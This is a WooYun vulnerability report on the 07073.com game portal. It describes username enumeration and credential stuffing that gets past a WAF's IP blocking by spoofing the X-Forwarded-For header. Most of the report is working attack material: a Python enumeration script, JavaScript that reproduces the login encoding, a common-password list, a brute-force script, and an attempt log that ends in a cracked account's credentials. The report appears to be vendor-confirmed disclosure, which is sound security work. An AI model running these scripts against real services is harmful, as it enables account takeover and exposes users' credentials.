当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0111477

漏洞标题:绕过07073waf遍历用户并撞库(附poc)

相关厂商:07073.com

漏洞作者: new

提交时间:2015-05-04 11:35

修复时间:2015-06-18 11:38

公开时间:2015-06-18 11:38

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-04: 细节已通知厂商并且等待厂商处理中
2015-05-04: 厂商已经确认,细节仅向厂商公开
2015-05-14: 细节向核心白帽子及相关领域专家公开
2015-05-24: 细节向普通白帽子公开
2015-06-03: 细节向实习白帽子公开
2015-06-18: 细节向公众公开

简要描述:

07073游戏网站waf设计缺陷导致可以绕过,接口可以遍历用户,并撞库
附上校验poc

详细说明:

1.注册接口暴力跑用户
数据展示:
admin00
admin000
admin0000
admin0001
admin0002
admin001
admin0011
admin002
admin0025
admin003
admin0032
admin004
admin005
admin0052
admin0060
admin007
admin0076
admin0077
admin008
admin009
admin0095
admin01
admin0101
admin0108
admin0123
admin0203
admin021
admin0216
admin0225
admin023
简单跑了一下就停了,有兴趣的可以继续跑
现给出poc:

1 #! /usr/bin/env python
2
3 # encoding:utf-8
4 import urllib2
5 import socket
6
7 headers = {
8 'Host':' me.07073.com',
9 'User-Agent':' Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:37.0) Gecko/20100101 Firefox/37.0',
10 'Accept':' text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01',
11 'Accept-Language':' zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
12 'Accept-Encoding':' deflate',
13 'X-Requested-With':' XMLHttpRequest',
14 'Referer':' http://me.07073.com/center/',
15 'Connection':' keep-alive'
16 }
17
18 data = "Username=admin"
19
20 def find(user):
21 try:
22 url = "http://me.07073.com/center/regUsername"
23 resquest = urllib2.Request(url,data+user,headers)
24 content = urllib2.urlopen(resquest).readlines()
25 if content[0] == '0':
26 print "admin"+user
27 except socket.error:
28 pass
29
30 for i1 in range(10):
31 for i2 in range(10):
32 find(str(i1)+str(i2))
33 for i3 in range(10):
34 find(str(i1)+str(i2)+str(i3))
35 for i4 in range(10):
36 find(str(i1)+str(i2)+str(i3)+str(i4))


用户有了,现在加一个字典或者社工库就可以跑密码了,不对,登录请求中怎么没有用户名和密码呢?
仔细看一下,用户名和密码使用js加密后添加到url中,不过程序员给出了解密算法,而且该开发人员写的加密没有混淆和轮换,明显明显没有深厚的密码学功底,不说了,上代码:

<script>
2 String.prototype.replaceAll=function(s1,s2)
3 {
4 var demo=this;
5 while(demo.indexOf(s1)!=-1)
6 demo=demo.replace(s1,s2);
7 return demo;
8 }
9 function Enc(){
10 _keyStr="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
11 this.encode=function(input){var output="";
12 var chr1,chr2,chr3,enc1,enc2,enc3,enc4;
13 var i=0;
14 input=_utf8_encode(input);
15 while(i<input.length){
16 chr1=input.charCodeAt(i++);
17 chr2=input.charCodeAt(i++);
18 chr3=input.charCodeAt(i++);
19 enc1=chr1>>2;
20 enc2=((chr1&3)<<4)|(chr2>>4);
21 enc3=((chr2&15)<<2)|(chr3>>6);
22 enc4=chr3&63;
23 if(isNaN(chr2)){
24 enc3=enc4=64;
25 }else if(isNaN(chr3)){
26 enc4=64;
27 }
28 output=output+
29 _keyStr.charAt(enc1)+_keyStr.charAt(enc2)+
30 _keyStr.charAt(enc3)+_keyStr.charAt(enc4);
31 }
32 output=output.replaceAll('=','_');
33 output=output.replaceAll('+','.');
34 output=output.replaceAll('/','-');
35 return output;
36 }
37 this.decode=function(input){
38 var output="";
39 var chr1,chr2,chr3;
40 var enc1,enc2,enc3,enc4;
41 var i=0;
42 input=input.replace(/[^A-Za-z0-9\+\/\=]/g,"");
43 while(i<input.length){enc1=_keyStr.indexOf(input.charAt(i++));
44 enc2=_keyStr.indexOf(input.charAt(i++));
45 enc3=_keyStr.indexOf(input.charAt(i++));
46 enc4=_keyStr.indexOf(input.charAt(i++));
47 chr1=(enc1<<2)|(enc2>>4);
48 chr2=((enc2&15)<<4)|(enc3>>2);
49 chr3=((enc3&3)<<6)|enc4;
50 output=output+String.fromCharCode(chr1);
if(enc3!=64){output=output+String.fromCharCode(chr2);
52 }
53 if(enc4!=64){output=output+String.fromCharCode(chr3);
54 }}
55 output=_utf8_decode(output);
56 return output;
57 }
58 _utf8_encode=function(string){string=string.replace(/\r\n/g,"\n");
59 var utftext="";
60 for(var n=0;
61 n<string.length;
62 n++){var c=string.charCodeAt(n);
63 if(c<128){utftext+=String.fromCharCode(c);
64 }else if((c>127)&&(c<2048)){utftext+=String.fromCharCode((c>>6)|192);
65 utftext+=String.fromCharCode((c&63)|128);
66 }else{utftext+=String.fromCharCode((c>>12)|224);
67 utftext+=String.fromCharCode(((c>>6)&63)|128);
68 utftext+=String.fromCharCode((c&63)|128);
69 }}
70 return utftext;
71 }
72 _utf8_decode=function(utftext){var string="";
73 var i=0;
74 var c=c1=c2=0;
75 while(i<utftext.length){c=utftext.charCodeAt(i);
76 if(c<128){string+=String.fromCharCode(c);
77 i++;
78 }else if((c>191)&&(c<224)){c2=utftext.charCodeAt(i+1);
79 string+=String.fromCharCode(((c&31)<<6)|(c2&63));
80 i+=2;
81 }else{c2=utftext.charCodeAt(i+1);
82 c3=utftext.charCodeAt(i+2);
83 string+=String.fromCharCode(((c&15)<<12)|((c2&63)<<6)|(c3&63));
84 i+=3;
85 }} return string;
86 }}
87 var password = new Array('123456','a123456','123456a','5201314','111111','woaini1314','qq123456','123123','000000','1qaz2wsx','1q2w3e4r','qwe123','7758521','123qwe','a123123' ,'123456aa','woaini520','woaini','100200','1314520','woaini123','123321','q123456','123456789','123456789a','5211314','asd123','a123456789','z123456','asd123456','a5201314',' aa123456','zhang123','aptx4869','123123a','1q2w3e4r5t','1qazxsw2','5201314a','1q2w3e','aini1314','31415926','q1w2e3r4','123456qq','woaini521','1234qwer','a111111','520520','i loveyou','abc123','110110','111111a','123456abc','w123456','7758258','123qweasd','159753','qwer1234','a000000','qq123123','zxc123','123654','abc123456','123456q','qq5201314', '12345678','000000a','456852','as123456','1314521','112233','521521','qazwsx123','zxc123456','abcd1234','asdasd','666666','love1314','QAZ123','aaa123','q1w2e3','aaaaaa','a123 321','123000','11111111','12qwaszx','5845201314','s123456','nihao123','caonima123','zxcvbnm123','wang123','159357','1A2B3C4D','asdasd123','584520','753951','147258','11235813 21','110120','qq1314520','asdfgh','admin00','admin000','admin0000','admin0001','admin0002','admin001','admin0011','admin002','admin0025','admin003','admin0032','admin004','ad min005','admin0052','admin0060','admin007','admin0076','admin0077','admin008','admin009','admin0095','admin01','admin0101','admin0108','admin0123','admin0203','admin021','adm in0216','admin0225','admin023');
88 var html ="";
89 var e =new Enc();
90 for(var i=0;i<password.length;i++){
91 html +=e.encode(password[i])+"<br/>";
92 }
93 document.write(html);
94 </script>


调用你们的加密算法,把密码和用户名加密,加到url中就可以不断爆破了
burp跑起来
跑啊
跑啊
跑啊
不对,ip被封了,密码只校验了两次,返回值是:
var login_result = { "stauts" : 0 , "block" : 1, "ip" : "127.0.0.1"}
试试添加个X-Forwarded-for 试试,发现第一次可以,再试还是被封,
所以后台封ip是从X-Forwarded-for中取值,而且每个ip登录错误次数到3次就会被封掉,账号、密码、waf都解决了,而且还没验证马,来个poc开跑:

1 #! /usr/bin/env python
2 # encoding:utf-8
3
4 import sys
5 import urllib2
6 import re
7 # use as :python 07073.py userlist.txt password.txt
8 #
9 result = re.compile("stauts\" : 1")
10 print "use userlist file:"+sys.argv[1]+" password file:"+sys.argv[2]
11 # 加载用户名文件
12 userlist = open(sys.argv[1],"r").readlines()
13 #加载密码列表
14 wordlist = open(sys.argv[2],"r").readlines()
15
16 headers = {
17 'Host':' me.07073.com',
18 'User-Agent':' Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:37.0) Gecko/20100101 Firefox/37.0',
19 'Accept':' text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01',
20 'Accept-Language':' zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
21 'Accept-Encoding':' deflate',
22 'X-Requested-With':' XMLHttpRequest',
23 'Referer':' http://me.07073.com/center/',
24 'Connection':' keep-alive'
25 }
26 ip =0
27 for user in userlist:
28 for word in wordlist:
29 user=user.replace("\n","")
30 user=user.replace("\r","")
31 word=word.replace("\n","")
32 word=word.replace("\r","")
33 headers['X-Forwarded-For']="127.0.0."+str(ip)
34 url = "http://me.07073.com/service/jsonLogin_/"+user+"/"+word+"/1/r268"
35 print url
36 request = urllib2.Request(url,"",headers)
37 response = urllib2.urlopen(request)
38 if len(result.findall(response.read()))>0:
39 print "user:"+user+" password:"+word
40 break
41 ip = ip +1
~


验证记录:
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTIzNDU2/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YTEyMzQ1Ng__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTIzNDU2YQ__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/NTIwMTMxNA__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTExMTEx/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/d29haW5pMTMxNA__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/cXExMjM0NTY_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTIzMTIz/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MDAwMDAw/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MXFhejJ3c3g_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MXEydzNlNHI_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/cXdlMTIz/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/Nzc1ODUyMQ__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTIzcXdl/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YTEyMzEyMw__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTIzNDU2YWE_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/d29haW5pNTIw/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/d29haW5p/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTAwMjAw/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTMxNDUyMA__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/d29haW5pMTIz/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTIzMzIx/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/cTEyMzQ1Ng__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTIzNDU2Nzg5/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTIzNDU2Nzg5YQ__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/NTIxMTMxNA__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YXNkMTIz/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YTEyMzQ1Njc4OQ__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/ejEyMzQ1Ng__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YXNkMTIzNDU2/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YTUyMDEzMTQ_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YWExMjM0NTY_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/emhhbmcxMjM_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YXB0eDQ4Njk_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTIzMTIzYQ__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MXEydzNlNHI1dA__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MXFhenhzdzI_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/NTIwMTMxNGE_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MXEydzNl/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YWluaTEzMTQ_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MzE0MTU5MjY_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/cTF3MmUzcjQ_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTIzNDU2cXE_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/d29haW5pNTIx/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTIzNHF3ZXI_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YTExMTExMQ__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/NTIwNTIw/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/aWxvdmV5b3U_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YWJjMTIz/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTEwMTEw/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTExMTExYQ__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTIzNDU2YWJj/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/dzEyMzQ1Ng__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/Nzc1ODI1OA__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTIzcXdlYXNk/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTU5NzUz/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/cXdlcjEyMzQ_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YTAwMDAwMA__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/cXExMjMxMjM_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/enhjMTIz/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTIzNjU0/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YWJjMTIzNDU2/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTIzNDU2cQ__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/cXE1MjAxMzE0/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTIzNDU2Nzg_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MDAwMDAwYQ__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/NDU2ODUy/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YXMxMjM0NTY_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTMxNDUyMQ__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTEyMjMz/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/NTIxNTIx/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/cWF6d3N4MTIz/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/enhjMTIzNDU2/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YWJjZDEyMzQ_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YXNkYXNk/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/NjY2NjY2/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/bG92ZTEzMTQ_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/UUFaMTIz/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YWFhMTIz/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/cTF3MmUz/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YWFhYWFh/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YTEyMzMyMQ__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTIzMDAw/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTExMTExMTE_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTJxd2Fzeng_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/NTg0NTIwMTMxNA__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/czEyMzQ1Ng__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/bmloYW8xMjM_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/Y2FvbmltYTEyMw__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/enhjdmJubTEyMw__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/d2FuZzEyMw__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTU5MzU3/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MUEyQjNDNEQ_/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YXNkYXNkMTIz/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/NTg0NTIw/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/NzUzOTUx/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTQ3MjU4/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTEyMzU4MTMyMQ__/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/MTEwMTIw/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/cXExMzE0NTIw/1/r268
http://me.07073.com/service/jsonLogin_/YWRtaW4zMjIz/YXNkZmdo/1/r268
user:YWRtaW4zMjIz password:YXNkZmdo
其它账号密码我就不一个一个试了,证明问题就可以了。

漏洞证明:

同上
写了好几个poc,又是解密,python的加js的,能给20rank吗?

修复方案:

1.修改waf策略
2.限制查询接口

版权声明:转载请注明来源 new@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-05-04 11:36

厂商回复:

感谢提供漏洞信息

最新状态:

暂无